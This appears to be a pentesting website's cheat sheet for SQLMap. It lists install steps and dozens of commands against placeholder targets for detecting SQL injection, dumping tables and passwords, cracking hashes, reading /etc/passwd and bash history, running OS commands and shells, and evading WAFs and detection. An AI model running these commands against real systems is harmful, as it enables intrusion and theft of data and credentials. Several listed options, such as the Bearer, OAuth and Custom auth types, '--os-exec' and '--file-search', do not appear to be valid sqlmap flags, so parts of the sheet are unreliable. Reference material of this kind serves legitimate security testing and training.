Pentesting.Site - SQLMap Cheat Sheet

SQLMap is an open-source penetration testing tool used for detecting and exploiting SQL injection vulnerabilities in web applications. It's a command-line tool that automates the process of identifying SQL injection flaws and can also be used to take over database servers. Designed for both beginners and experts, SQLMap offers extensive capabilities, including database fingerprinting, data extraction, and access to underlying file systems.

Download SQLMap

Installation and Setup

1
pip install sqlmap

1
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
2
cd sqlmap-dev
3
python sqlmap.py -h

1
docker pull vulnerables/sqlmap
2
docker run -it --rm vulnerables/sqlmap -u "http://example.com?id=1"

From Package Managers — pre-installed on Kali Linux (run directly with sqlmap); on Debian/Ubuntu:

1
sudo apt update && sudo apt install sqlmap

1
git pull                              #From source
2
pip install --upgrade sqlmap          #Using pip

SQL Injection Testing Commands

1
sqlmap -u "http://example.com?id=1"                                                              #Basic Detection
2
sqlmap -u "http://example.com?id=1" --batch                                                      #Automated Mode (No Prompts)
3
sqlmap -u "http://example.com?id=1&search=apple" -p id                                           #Set a Specific Injection Parameter
4
sqlmap -u "http://example.com?id=1&category=2"                                                   #Multiple Parameters Testing
5
sqlmap -r request.txt                                                                            #Use a Request File (Burp Suite Export)
6
sqlmap -u "http://example.com" --level=5 --headers="User-Agent: ' OR 1=1 --"                     #Inject in HTTP Headers
7
sqlmap -u "http://example.com?id=1&search=apple" --cookie="PHPSESSID=xyz123"                     #Inject with Session Cookies
8
sqlmap -u "http://example.com?id=1" --method=POST --data="username=admin&password=1234"          #POST Method Injection
9
sqlmap -u "http://example.com?id=1" --headers="Content-Type: application/x-www-form-urlencoded"  #Custom Content-Type Header
10
sqlmap -u "http://example.com?id=1" --timeout=30                                                 #Set Connection Timeout
11
sqlmap -u "http://example.com?id=1" --time-sec=10                                                #Set Time-Delay for Blind SQL Injection
12
sqlmap -u "http://example.com?id=1" --max-retries=5                                              #Set Maximum Retries on Failed Connections

Authentication Techniques

1
sqlmap -u "http://example.com" --auth-type=basic --auth-cred="admin:password"                                        #Basic HTTP Authentication
2
sqlmap -u "http://example.com" --auth-type=digest --auth-cred="user:password"                                        #Digest Authentication
3
sqlmap -u "http://example.com" --auth-type=ntlm --auth-cred="DOMAIN\user:password"                                   #NTLM Authentication
4
sqlmap -u "http://example.com" --cookie="PHPSESSID=xyz123"                                                           #Session Cookies
5
sqlmap -u "http://example.com" --headers="X-Forwarded-For: 127.0.0.1, Referer: http://example.com"                   #Custom Header Injection
6
sqlmap -u "http://example.com" --proxy="http://127.0.0.1:8080" --proxy-auth="user:password"                          #Proxy Authentication
7
sqlmap -u "http://example.com" --tor --tor-type=SOCKS5 --check-tor                                                   #Using the Tor Network
8
sqlmap -u "http://example.com" --auth-type=Bearer --auth-cred="Bearer <token>"                                       #Bearer Token Authentication
9
sqlmap -u "http://example.com" --auth-type=OAuth --auth-cred="OAuth2 <token>"                                        #OAuth2 Authentication
10
sqlmap -u "http://example.com" --auth-type=Custom --auth-cred="apiKey=<key>"                                         #Custom Authentication using API Keys
11
sqlmap -u "http://example.com" --cookie="sessionid=xyz; user=admin" --auth-type=basic --auth-cred="admin:password"   #Combined Session Cookie and Basic Auth

Database Enumeration

1
sqlmap -u "http://example.com?id=1" --roles                                                                     #Get Database Roles
2
sqlmap -u "http://example.com?id=1" --dbs                                                                       #List Available Databases
3
sqlmap -u "http://example.com?id=1" -D database_name --tables                                                   #List Tables in a Specific Database
4
sqlmap -u "http://example.com?id=1" -D database_name -T table_name --columns                                    #List Columns in a Table
5
sqlmap -u "http://example.com?id=1" -D database_name -T table_name --dump                                       #Dump Data from a Table
6
sqlmap -u "http://example.com?id=1" -D database_name -T table_name --dump -C username,password --where="id>10"  #Dump Data with Conditions
7
sqlmap -u "http://example.com?id=1" --users                                                                     #List Database Users
8
sqlmap -u "http://example.com?id=1" --passwords                                                                 #Crack User Passwords
9
sqlmap -u "http://example.com?id=1" --privileges -U username                                                    #Check Privileges of a User
10
sqlmap -u "http://example.com?id=1" --search="email"                                                            #Search for Specific Data in a Table
11
sqlmap -u "http://example.com?id=1" -D database_name -T users --dump --threads=10                               #Dump Data with Multiple Threads
12
sqlmap -u "http://example.com?id=1" --os-shell                                                                  #Get an Interactive Shell After Database Enumeration
13
sqlmap -u "http://example.com?id=1" --time-sec=5                                                                #Delay Between Requests to Evade Detection

Injection Techniques

1
sqlmap -u "http://example.com?id=1" --technique=BEUST                      #Specify Injection Techniques (B: Boolean-based, E: Error-based, U: UNION query-based, S: Stacked queries, T: Time-based blind)
2
sqlmap -u "http://example.com?id=1" --risk=3 --level=5                     #Specify Risk and Level (Max Risk = 3, Max Level = 5)
3
sqlmap -u "http://example.com?id=1" --fingerprint                          #Fingerprint Database
4
sqlmap -u "http://example.com?id=1" --prefix="' OR " --suffix="--"         #Set Payload Injection Points
5
sqlmap -u "http://example.com?id=1" --technique=E                          #Use Error-based Injection Only
6
sqlmap -u "http://example.com?id=1" --technique=U                          #Use UNION-based Injection Only
7
sqlmap -u "http://example.com?id=1" --technique=ST                         #Use Stacked Queries Only
8
sqlmap -u "http://example.com?id=1" --technique=BT                         #Use Boolean and Time-based Injection
9

10
#Techniques:
11
B: Boolean-based blind
12
E: Error-based
13
U: UNION query-based
14
S: Stacked queries
15
T: Time-based blind
16

17
sqlmap -u "http://example.com?id=1" --random-agent                        #Randomize User-Agent
18
sqlmap -u "http://example.com?id=1" --proxy="http://127.0.0.1:8080"       #Use Proxy During Injection

File and Operating System Access

1
sqlmap -u "http://example.com?id=1" --file-read=/etc/passwd                                        #Read Files from the Target Server
2
sqlmap -u "http://example.com?id=1" --file-write=/path/to/local/file --file-dest=/path/on/server   #Write Files to the Target Server
3
sqlmap -u "http://example.com?id=1" --file-search=password                                         #Search for Files on the Server
4
sqlmap -u "http://example.com?id=1" --os-cmd="whoami"                                              #Run OS Commands
5
sqlmap -u "http://example.com?id=1" --os-shell                                                     #Get an Interactive Shell
6
sqlmap -u "http://example.com?id=1" --os-pwn                                                       #Execute OS Privilege Escalation
7
sqlmap -u "http://example.com?id=1" --os-exec="/bin/bash -i"                                       #Execute Commands in a Shell
8
sqlmap -u "http://example.com?id=1" --file-read=/home/user/.bash_history                           #Read Bash History File
9
sqlmap -u "http://example.com?id=1" --os-cmd="cat /proc/version"                                   #Fetch System Information
10
sqlmap -u "http://example.com?id=1" --os-cmd="ps aux"                                              #List Running Processes

Output and Logging

1
sqlmap -u "http://example.com?id=1" --output-dir=/path/to/output   #Save Output to Directory
2
sqlmap -u "http://example.com?id=1" --dump-format=json             #Set Output Format
3
sqlmap -u "http://example.com?id=1" -v 3                           #Verbose Logging
4

5
Verbose Levels:
6
0: Quiet (no output)
7
1: Basic Information
8
2: Progress Indicators
9
3: Debugging
10

11
sqlmap -u "http://example.com?id=1" --batch                        #Run Automatically Without Prompts
12
sqlmap -u "http://example.com?id=1" --save                         #Save the State of the Session for Later Resumption
13
sqlmap -u "http://example.com?id=1" --flush-session                #Flush the Current Session and Restart
14
sqlmap -u "http://example.com?id=1" --disable-color                #Disable Colored Output for Logging
15
sqlmap -u "http://example.com?id=1" --log="output.log"             #Save Detailed Logs to a File

Tampering and Bypassing WAFs

1
sqlmap -u "http://example.com?id=1" --tamper=space2comment              #Use a Tamper Script
2
sqlmap -u "http://example.com?id=1" --tamper=space2comment,randomcase   #Combine Multiple Tamper Scripts
3
sqlmap -u "http://example.com?id=1" --user-agent="Mozilla/5.0"          #Custom User-Agent
4
sqlmap -u "http://example.com?id=1" --random-agent                      #Randomize User-Agent
5
sqlmap -u "http://example.com?id=1" --delay=2                           #Throttle Requests
6
sqlmap -u "http://example.com?id=1" --tamper=between,randomcase         #Use Additional Tamper Scripts
7
sqlmap -u "http://example.com?id=1" --referrer="http://example.com"     #Custom Referrer Header
8
sqlmap -u "http://example.com?id=1" --no-cast                           #Disable Auto-CAST for Payloads
9
sqlmap -u "http://example.com?id=1" --tamper=apostrophemask             #Tamper Script for Masking Apostrophes

Real-World Examples

1
sqlmap -u "http://example.com/login" --data="username=admin&password=1234" --dbs                            #Test Login Form for Injection
2
sqlmap -u "http://example.com?id=1" --batch --dump --threads=10                                             #Dump All Data in the Fastest Way
3
sqlmap -u "http://example.com?id=1" --passwords --threads=5                                                 #Enumerate and Crack All Passwords
4
sqlmap -u "http://example.com?id=1" --proxy="http://127.0.0.1:8080" --tamper=space2comment --random-agent   #Bypass a WAF Using Proxies and Tamper Scripts
5
sqlmap -u "http://example.com?id=1" --random-agent --delay=5 --level=1 --risk=1                             #Run as Stealthily as Possible
6
sqlmap -u "http://example.com/login" --data="username=admin&password=1234" --os-cmd="ls"                    #Test for OS Command Injection
7
sqlmap -u "http://example.com?id=1" --dbs --batch --no-cast                                                 #Get Databases in One Shot with No Auto-CAST
8
sqlmap -u "http://example.com?id=1" --flush-session --threads=10                                            #Use Multiple Threads and Flush Session Before Running